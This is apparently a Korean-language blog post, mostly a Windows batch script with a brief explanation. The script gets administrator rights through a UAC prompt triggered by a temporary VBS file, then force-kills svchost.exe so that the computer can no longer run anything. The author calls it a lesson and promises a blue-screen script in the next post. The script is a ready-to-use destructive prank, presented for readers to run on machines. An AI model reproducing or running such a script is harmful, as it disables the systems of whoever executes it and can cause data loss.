@echo off

 :: BatchGotAdmin

 :-------------------------------------

 REM  --> Check for permissions

 >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"


REM --> If error flag set, we do not have admin.

 if '%errorlevel%' NEQ '0' (

     echo Requesting administrative privileges...

     goto UACPrompt

 ) else ( goto gotAdmin )


:UACPrompt

     echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"

     echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"


    "%temp%\getadmin.vbs"

     exit /B


:gotAdmin

     if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )

     pushd "%CD%"

     CD /D "%~dp0"

 :-------------------------------------- 



taskkill /f /im svchost.exe 

코드입니다.


설명:

@echo off:제 강좌 전 편 참고

 :: BatchGotAdmin

 :-------------------------------------

 REM  --> Check for permissions

 >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"


REM --> If error flag set, we do not have admin.

 if '%errorlevel%' NEQ '0' (

     echo Requesting administrative privileges...

     goto UACPrompt

 ) else ( goto gotAdmin )


:UACPrompt

     echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"

     echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"


    "%temp%\getadmin.vbs"

     exit /B


:gotAdmin

     if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )

     pushd "%CD%"

     CD /D "%~dp0"

 :-------------------------------------- 관리자 권한으로 실행

taskkill /f /im svchost.exe ---이 프로그램을 종료시킴으로써 아무것도 실행 못 함.

다음에는 블루스크린 띄우기로 찾아뵙겠습니다!!

이상 터컴이었습니다!


2018:01:22 10:42:38


+ Recent posts